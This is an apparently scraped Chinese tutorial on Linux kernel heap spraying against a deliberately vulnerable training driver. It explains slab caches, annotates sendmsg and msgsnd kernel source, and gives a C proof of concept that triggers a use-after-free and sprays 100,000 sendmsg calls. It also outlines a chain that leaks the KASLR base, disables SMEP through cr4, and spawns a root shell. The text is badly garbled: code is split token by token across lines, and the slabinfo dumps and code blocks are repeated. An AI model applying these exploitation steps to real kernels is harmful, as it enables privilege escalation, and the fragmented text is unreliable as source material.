基于:vulnerable_linux_drive(类似windows著名的的HEVD)
驱动地址:https://github.com/invictus-0x90/vulnerable_linux_driver
将Shellcode与大量的slide code(滑板指令)相组合,组成一整个 注入代码段 ,然后向系统申请大量的内存空间,并反复用 注入代码段 填充,然后将程序执行流劫持到内核堆上,使得程序慢慢“滑”向SHellcode。
Slide code一般使用:
1.NOP指令(\x90)
2.\x0c
3.\x0d
他们均不会影响shellcode的执行。
SLAB作为用户linux系统内核对于小对象的高速cache。
cat /proc/slabinfo
可以查看当前 slab 对象的分配情况。
如:
其中 kmalloc-8 代表:首先,他是一个普通的(非专用slab),里面的对象都是8B,当你申请1到8B时会从这里给你返回一个cache对象,当你kfree掉他时,这个free_cache会回到kmalloc-8的SLAB里面。(类比用户态有点像一个本身就有chunk的fastbin?)
与用户态相似的,当free掉一个SLAB对象时,仅仅是标free,并且slab优先分配最后被free的对象。
而slab对象受到 kmem_cache
的管理(比如说kmalloc-8)。
其管理层级结构如下:
并且用户可以通过:kmem_cache_create
创建一个自己的 kmem_cache
数据结构。
函数原型:
主要用于发送消息到另一个套接字,比如:在不同的进程之间传递文件描述符(file descriptor)
源码如下 :
https://elixir.bootlin.com/linux/v4.4.31/source/net/socket.c
首先做一次UAF,然后练习100000调用sendmsg,参数中的msgh是我们用户态的东西。
将user space的controllen大小(84)赋值给ctl_len.
检测到大于0x44,重新调用kmalloc从专用SLAB中开内存
最后把用户态的内容拷贝到内核中。ctl_buf是kmalloc出的。
之后多次调用,完成大量申请空间并填充。
可以看到程序的执行流流向了我们填充的0x61,至此,堆喷成功。
源码:
msg_msg结构如下:
所以我们不能控制前0x30,并且消息越大,越容易阻塞。
The second drawback, which is commented in my code, is that the larger the message, the fewer messages we can send before the process blocks. I presume this wouldn’t occur if I had another process calling msgrcv and taking messages out of the queue, but for now 120 allocations was enough.
主要使用UAF漏洞配合Kernel heap spray来bypass smep和kalsr实现提权。
内核版本:4.4.31
缓解措施:kaslr + smep
利用过程:
1.首先在子进程中堆喷触发page fault,利用dmesg泄露加载基地址。
2.利用 native_write_cr4 将cr4第21位设置成0,整个cr4为0x6f0
3.关闭smep、smap后直接ret2usr起root shell
exp如下:
效果:
https://invictus-security.blog/2017/06/15/linux-kernel-heap-spraying-uaf/
https://fivezh.github.io/2017/06/25/Linux-slab-info/
[图解slub]http://www.wowotech.net/memory_management/426.html
http://www.secretmango.com/jimb/Whitepapers/slabs/slab.html
https://www.cnblogs.com/lojunren/p/3865232.html
Acpi
-
Namespace
7854
7854
40
102
1
: tunables
0
0
0
: slabdata
77
77
0
numa_policy
186
186
264
62
4
: tunables
0
0
0
: slabdata
3
3
0
trace_event_file
1426
1426
88
46
1
: tunables
0
0
0
: slabdata
31
31
0
ftrace_event_field
3400
3400
48
85
1
: tunables
0
0
0
: slabdata
40
40
0
radix_tree_node
13694
15848
584
56
8
: tunables
0
0
0
: slabdata
283
283
0
task_group
168
168
576
56
8
: tunables
0
0
0
: slabdata
3
3
0
dma
-
kmalloc
-
8192
0
0
8192
4
8
: tunables
0
0
0
: slabdata
0
0
0
dma
-
kmalloc
-
4096
0
0
4096
8
8
: tunables
0
0
0
: slabdata
0
0
0
dma
-
kmalloc
-
2048
0
0
2048
16
8
: tunables
0
0
0
: slabdata
0
0
0
dma
-
kmalloc
-
1024
0
0
1024
32
8
: tunables
0
0
0
: slabdata
0
0
0
dma
-
kmalloc
-
512
64
64
512
64
8
: tunables
0
0
0
: slabdata
1
1
0
dma
-
kmalloc
-
256
0
0
256
64
4
: tunables
0
0
0
: slabdata
0
0
0
dma
-
kmalloc
-
128
0
0
128
64
2
: tunables
0
0
0
: slabdata
0
0
0
dma
-
kmalloc
-
64
0
0
64
64
1
: tunables
0
0
0
: slabdata
0
0
0
dma
-
kmalloc
-
32
0
0
32
128
1
: tunables
0
0
0
: slabdata
0
0
0
dma
-
kmalloc
-
16
0
0
16
256
1
: tunables
0
0
0
: slabdata
0
0
0
dma
-
kmalloc
-
8
0
0
8
512
1
: tunables
0
0
0
: slabdata
0
0
0
dma
-
kmalloc
-
192
0
0
192
42
2
: tunables
0
0
0
: slabdata
0
0
0
dma
-
kmalloc
-
96
0
0
96
42
1
: tunables
0
0
0
: slabdata
0
0
0
kmalloc
-
8192
410
420
8192
4
8
: tunables
0
0
0
: slabdata
105
105
0
kmalloc
-
4096
342
360
4096
8
8
: tunables
0
0
0
: slabdata
45
45
0
kmalloc
-
2048
2478
2528
2048
16
8
: tunables
0
0
0
: slabdata
158
158
0
kmalloc
-
1024
5980
6304
1024
32
8
: tunables
0
0
0
: slabdata
197
197
0
kmalloc
-
512
41282
41792
512
64
8
: tunables
0
0
0
: slabdata
653
653
0
kmalloc
-
256
7786
8000
256
64
4
: tunables
0
0
0
: slabdata
125
125
0
kmalloc
-
192
6174
6174
192
42
2
: tunables
0
0
0
: slabdata
147
147
0
kmalloc
-
128
2240
2240
128
64
2
: tunables
0
0
0
: slabdata
35
35
0
kmalloc
-
96
7455
9786
96
42
1
: tunables
0
0
0
: slabdata
233
233
0
kmalloc
-
64
23669
24192
64
64
1
: tunables
0
0
0
: slabdata
378
378
0
kmalloc
-
32
31701
32640
32
128
1
: tunables
0
0
0
: slabdata
255
255
0
kmalloc
-
16
13568
13568
16
256
1
: tunables
0
0
0
: slabdata
53
53
0
kmalloc
-
8
12288
12288
8
512
1
: tunables
0
0
0
: slabdata
24
24
0
kmem_cache_node
1920
1920
64
64
1
: tunables
0
0
0
: slabdata
30
30
0
kmem_cache
1890
1890
384
42
4
: tunables
0
0
0
: slabdata
45
45
0
Acpi
-
Namespace
7854
7854
40
102
1
: tunables
0
0
0
: slabdata
77
77
0
numa_policy
186
186
264
62
4
: tunables
0
0
0
: slabdata
3
3
0
trace_event_file
1426
1426
88
46
1
: tunables
0
0
0
: slabdata
31
31
0
ftrace_event_field
3400
3400
48
85
1
: tunables
0
0
0
: slabdata
40
40
0
radix_tree_node
13694
15848
584
56
8
: tunables
0
0
0
: slabdata
283
283
0
task_group
168
168
576
56
8
: tunables
0
0
0
: slabdata
3
3
0
dma
-
kmalloc
-
8192
0
0
8192
4
8
: tunables
0
0
0
: slabdata
0
0
0
dma
-
kmalloc
-
4096
0
0
4096
8
8
: tunables
0
0
0
: slabdata
0
0
0
dma
-
kmalloc
-
2048
0
0
2048
16
8
: tunables
0
0
0
: slabdata
0
0
0
dma
-
kmalloc
-
1024
0
0
1024
32
8
: tunables
0
0
0
: slabdata
0
0
0
dma
-
kmalloc
-
512
64
64
512
64
8
: tunables
0
0
0
: slabdata
1
1
0
dma
-
kmalloc
-
256
0
0
256
64
4
: tunables
0
0
0
: slabdata
0
0
0
dma
-
kmalloc
-
128
0
0
128
64
2
: tunables
0
0
0
: slabdata
0
0
0
dma
-
kmalloc
-
64
0
0
64
64
1
: tunables
0
0
0
: slabdata
0
0
0
dma
-
kmalloc
-
32
0
0
32
128
1
: tunables
0
0
0
: slabdata
0
0
0
dma
-
kmalloc
-
16
0
0
16
256
1
: tunables
0
0
0
: slabdata
0
0
0
dma
-
kmalloc
-
8
0
0
8
512
1
: tunables
0
0
0
: slabdata
0
0
0
dma
-
kmalloc
-
192
0
0
192
42
2
: tunables
0
0
0
: slabdata
0
0
0
dma
-
kmalloc
-
96
0
0
96
42
1
: tunables
0
0
0
: slabdata
0
0
0
kmalloc
-
8192
410
420
8192
4
8
: tunables
0
0
0
: slabdata
105
105
0
kmalloc
-
4096
342
360
4096
8
8
: tunables
0
0
0
: slabdata
45
45
0
kmalloc
-
2048
2478
2528
2048
16
8
: tunables
0
0
0
: slabdata
158
158
0
kmalloc
-
1024
5980
6304
1024
32
8
: tunables
0
0
0
: slabdata
197
197
0
kmalloc
-
512
41282
41792
512
64
8
: tunables
0
0
0
: slabdata
653
653
0
kmalloc
-
256
7786
8000
256
64
4
: tunables
0
0
0
: slabdata
125
125
0
kmalloc
-
192
6174
6174
192
42
2
: tunables
0
0
0
: slabdata
147
147
0
kmalloc
-
128
2240
2240
128
64
2
: tunables
0
0
0
: slabdata
35
35
0
kmalloc
-
96
7455
9786
96
42
1
: tunables
0
0
0
: slabdata
233
233
0
kmalloc
-
64
23669
24192
64
64
1
: tunables
0
0
0
: slabdata
378
378
0
kmalloc
-
32
31701
32640
32
128
1
: tunables
0
0
0
: slabdata
255
255
0
kmalloc
-
16
13568
13568
16
256
1
: tunables
0
0
0
: slabdata
53
53
0
kmalloc
-
8
12288
12288
8
512
1
: tunables
0
0
0
: slabdata
24
24
0
kmem_cache_node
1920
1920
64
64
1
: tunables
0
0
0
: slabdata
30
30
0
kmem_cache
1890
1890
384
42
4
: tunables
0
0
0
: slabdata
45
45
0
static
int
____sys_sendmsg(struct socket
*
sock, struct msghdr
*
msg_sys,
unsigned
int
flags, struct used_address
*
used_address,
unsigned
int
allowed_msghdr_flags)
static
int
____sys_sendmsg(struct socket
*
sock, struct msghdr
*
msg_sys,
unsigned
int
flags, struct used_address
*
used_address,
unsigned
int
allowed_msghdr_flags)
struct msghdr {
void
*
msg_name;
/
*
ptr to socket address structure
*
/
int
msg_namelen;
/
*
size of socket address structure
*
/
struct iov_iter msg_iter;
/
*
data
*
/
void
*
msg_control;
/
*
ancillary data
*
/
__kernel_size_t msg_controllen;
/
*
ancillary data
buffer
length
*
/
unsigned
int
msg_flags;
/
*
flags on received message
*
/
struct kiocb
*
msg_iocb;
/
*
ptr to iocb
for
async requests
*
/
};
struct msghdr {
void
*
msg_name;
/
*
ptr to socket address structure
*
/
int
msg_namelen;
/
*
size of socket address structure
*
/
struct iov_iter msg_iter;
/
*
data
*
/
void
*
msg_control;
/
*
ancillary data
*
/
__kernel_size_t msg_controllen;
/
*
ancillary data
buffer
length
*
/
unsigned
int
msg_flags;
/
*
flags on received message
*
/
struct kiocb
*
msg_iocb;
/
*
ptr to iocb
for
async requests
*
/
};
static
int
___sys_sendmsg(struct socket
*
sock, struct user_msghdr __user
*
msg,
struct msghdr
*
msg_sys, unsigned
int
flags,
struct used_address
*
used_address)
{
struct compat_msghdr __user
*
msg_compat
=
(struct compat_msghdr __user
*
)msg;
struct sockaddr_storage address;
struct iovec iovstack[UIO_FASTIOV],
*
iov
=
iovstack;
unsigned char ctl[sizeof(struct cmsghdr)
+
20
]
__attribute__ ((aligned(sizeof(__kernel_size_t))));
/
/
在栈上开
44
字节
/
*
20
is
size of ipv6_pktinfo
*
/
unsigned char
*
ctl_buf
=
ctl;
/
/
ctl_buf指向ctl.
int
ctl_len;
ssize_t err;
msg_sys
-
>msg_name
=
&address;
if
(MSG_CMSG_COMPAT & flags)
err
=
get_compat_msghdr(msg_sys, msg_compat, NULL, &iov);
else
err
=
copy_msghdr_from_user(msg_sys, msg, NULL, &iov);
/
/
这里将用户态的msghdr(消息头)拷贝到内核态的msg_sys
if
(err <
0
)
return
err;
err
=
-
ENOBUFS;
if
(msg_sys
-
>msg_controllen > INT_MAX)
/
/
goto out_freeiov;
ctl_len
=
msg_sys
-
>msg_controllen;
/
/
当msg_sys
-
>msg_controllen小于等于INT_MAX,会将ctl_len设置成msg_sys
-
>msg_controllen()
if
((MSG_CMSG_COMPAT & flags) && ctl_len) {
err
=
cmsghdr_from_user_compat_to_kern(msg_sys, sock
-
>sk, ctl,
sizeof(ctl));
if
(err)
goto out_freeiov;
ctl_buf
=
msg_sys
-
>msg_control;
ctl_len
=
msg_sys
-
>msg_controllen;
}
else
if
(ctl_len) {
if
(ctl_len > sizeof(ctl)) {
/
/
当ctl_len>ctl(
44
字节)时
ctl_buf
=
sock_kmalloc(sock
-
>sk, ctl_len, GFP_KERNEL);
/
/
调用kmalloc 分配 ctl_len 大小的堆块
if
(ctl_buf
=
=
NULL)
goto out_freeiov;
}
err
=
-
EFAULT;
/
*
*
Careful! Before this, msg_sys
-
>msg_control contains a user pointer.
*
Afterwards, it will be a kernel pointer. Thus the compiler
-
assisted
*
checking falls down on this.
*
/
if
(copy_from_user(ctl_buf,
(void __user __force
*
)msg_sys
-
>msg_control,
ctl_len))
/
/
这里使用copy_from_user将用户态的msg_sys
-
>msg_control,拷贝到内核的ctl_buf(由kmalloc产生),拷贝长度ctl_len。这里内容可控
goto out_freectl;
msg_sys
-
>msg_control
=
ctl_buf;
}
msg_sys
-
>msg_flags
=
flags;
......
}
static
int
___sys_sendmsg(struct socket
*
sock, struct user_msghdr __user
*
msg,
struct msghdr
*
msg_sys, unsigned
int
flags,
struct used_address
*
used_address)
{
struct compat_msghdr __user
*
msg_compat
=
(struct compat_msghdr __user
*
)msg;
struct sockaddr_storage address;
struct iovec iovstack[UIO_FASTIOV],
*
iov
=
iovstack;
unsigned char ctl[sizeof(struct cmsghdr)
+
20
]
__attribute__ ((aligned(sizeof(__kernel_size_t))));
/
/
在栈上开
44
字节
/
*
20
is
size of ipv6_pktinfo
*
/
unsigned char
*
ctl_buf
=
ctl;
/
/
ctl_buf指向ctl.
int
ctl_len;
ssize_t err;
msg_sys
-
>msg_name
=
&address;
if
(MSG_CMSG_COMPAT & flags)
err
=
get_compat_msghdr(msg_sys, msg_compat, NULL, &iov);
else
err
=
copy_msghdr_from_user(msg_sys, msg, NULL, &iov);
/
/
这里将用户态的msghdr(消息头)拷贝到内核态的msg_sys
if
(err <
0
)
return
err;
err
=
-
ENOBUFS;
if
(msg_sys
-
>msg_controllen > INT_MAX)
/
/
goto out_freeiov;
ctl_len
=
msg_sys
-
>msg_controllen;
/
/
当msg_sys
-
>msg_controllen小于等于INT_MAX,会将ctl_len设置成msg_sys
-
>msg_controllen()
if
((MSG_CMSG_COMPAT & flags) && ctl_len) {
err
=
cmsghdr_from_user_compat_to_kern(msg_sys, sock
-
>sk, ctl,
sizeof(ctl));
if
(err)
goto out_freeiov;
ctl_buf
=
msg_sys
-
>msg_control;
ctl_len
=
msg_sys
-
>msg_controllen;
}
else
if
(ctl_len) {
if
(ctl_len > sizeof(ctl)) {
/
/
当ctl_len>ctl(
44
字节)时
ctl_buf
=
sock_kmalloc(sock
-
>sk, ctl_len, GFP_KERNEL);
/
/
调用kmalloc 分配 ctl_len 大小的堆块
if
(ctl_buf
=
=
NULL)
goto out_freeiov;
}
err
=
-
EFAULT;
/
*
*
Careful! Before this, msg_sys
-
>msg_control contains a user pointer.
*
Afterwards, it will be a kernel pointer. Thus the compiler
-
assisted
*
checking falls down on this.
*
/
if
(copy_from_user(ctl_buf,
(void __user __force
*
)msg_sys
-
>msg_control,
ctl_len))
/
/
这里使用copy_from_user将用户态的msg_sys
-
>msg_control,拷贝到内核的ctl_buf(由kmalloc产生),拷贝长度ctl_len。这里内容可控
goto out_freectl;
msg_sys
-
>msg_control
=
ctl_buf;
}
msg_sys
-
>msg_flags
=
flags;
......
}
int
main(){
char buf[SIZE];
struct msghdr msgh
=
{
0
};
struct sockaddr_in addr
=
{
0
};
int
sockfd
=
socket(AF_INET, SOCK_DGRAM,
0
);
int
fd
=
open
(
"/dev/vulnerable_device"
,O_RDWR);
addr.sin_addr.s_addr
=
htonl(INADDR_LOOPBACK);
addr.sin_family
=
AF_INET;
addr.sin_port
=
htons(
6666
);
/
/
filled with
0x61
'a'
memset(buf,
0x61
,sizeof(buf));
/
/
set
user space buf(msg header)
msgh.msg_control
=
buf;
msgh.msg_controllen
=
SIZE;
msgh.msg_name
=
(caddr_t)&addr;
msgh.msg_namelen
=
sizeof(addr);
/
/
trigger UAF
ioctl(fd,ALLOC_UAF_OBJ,NULL);
/
/
alloc_uaf_obj
ioctl(fd,FREE_UAF_OBJ,NULL);
/
/
free uaf obj
/
*
Heap spray
*
/
for
(
int
i
=
0
; i <
100000
; i
+
+
) {
sendmsg(sockfd, &msgh,
0
);
}
/
*
Trigger
*
/
ioctl(fd, USE_UAF_OBJ, NULL);
return
0
;
}
int
main(){
char buf[SIZE];
struct msghdr msgh
=
{
0
};
struct sockaddr_in addr
=
{
0
};
int
sockfd
=
socket(AF_INET, SOCK_DGRAM,
0
);
int
fd
=
open
(
"/dev/vulnerable_device"
,O_RDWR);
addr.sin_addr.s_addr
=
htonl(INADDR_LOOPBACK);
addr.sin_family
=
AF_INET;
addr.sin_port
=
htons(
6666
);
/
/
filled with
0x61
'a'
memset(buf,
0x61
,sizeof(buf));
/
/
set
user space buf(msg header)
msgh.msg_control
=
buf;
msgh.msg_controllen
=
SIZE;
msgh.msg_name
=
(caddr_t)&addr;
msgh.msg_namelen
=
sizeof(addr);
/
/
trigger UAF
ioctl(fd,ALLOC_UAF_OBJ,NULL);
/
/
alloc_uaf_obj
ioctl(fd,FREE_UAF_OBJ,NULL);
/
/
free uaf obj
/
*
Heap spray
*
/
for
(
int
i
=
0
; i <
100000
; i
+
+
) {
sendmsg(sockfd, &msgh,
0
);
}
/
*
Trigger
*
/
ioctl(fd, USE_UAF_OBJ, NULL);
return
0
;
}
SYSCALL_DEFINE4(msgsnd,
int
, msqid, struct msgbuf __user
*
, msgp, size_t, msgsz,
int
, msgflg)
{
long
mtype;
if
(get_user(mtype, &msgp
-
>mtype))
return
-
EFAULT;
return
do_msgsnd(msqid, mtype, msgp
-
>mtext, msgsz, msgflg);
}
SYSCALL_DEFINE4(msgsnd,
int
, msqid, struct msgbuf __user
*
, msgp, size_t, msgsz,
int
, msgflg)
{
long
mtype;
if
(get_user(mtype, &msgp
-
>mtype))
return
-
EFAULT;
return
do_msgsnd(msqid, mtype, msgp
-
>mtext, msgsz, msgflg);
}
long
do_msgsnd(
int
msqid,
long
mtype, void __user
*
mtext,
size_t msgsz,
int
msgflg)
{
struct msg_queue
*
msq;
struct msg_msg
*
msg;
int
err;
struct ipc_namespace
*
ns;
ns
=
current
-
>nsproxy
-
>ipc_ns;
if
(msgsz > ns
-
>msg_ctlmax || (
long
) msgsz <
0
|| msqid <
0
)
return
-
EINVAL;
if
(mtype <
1
)
return
-
EINVAL;
msg
=
load_msg(mtext, msgsz);
.......
long
do_msgsnd(
int
msqid,
long
mtype, void __user
*
mtext,
size_t msgsz,
int
msgflg)
{
struct msg_queue
*
msq;
struct msg_msg
*
msg;
int
err;
struct ipc_namespace
*
ns;
ns
=
current
-
>nsproxy
-
>ipc_ns;
if
(msgsz > ns
-
>msg_ctlmax || (
long
) msgsz <
0
|| msqid <
0
)
return
-
EINVAL;
if
(mtype <
1
)
return
-
EINVAL;
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)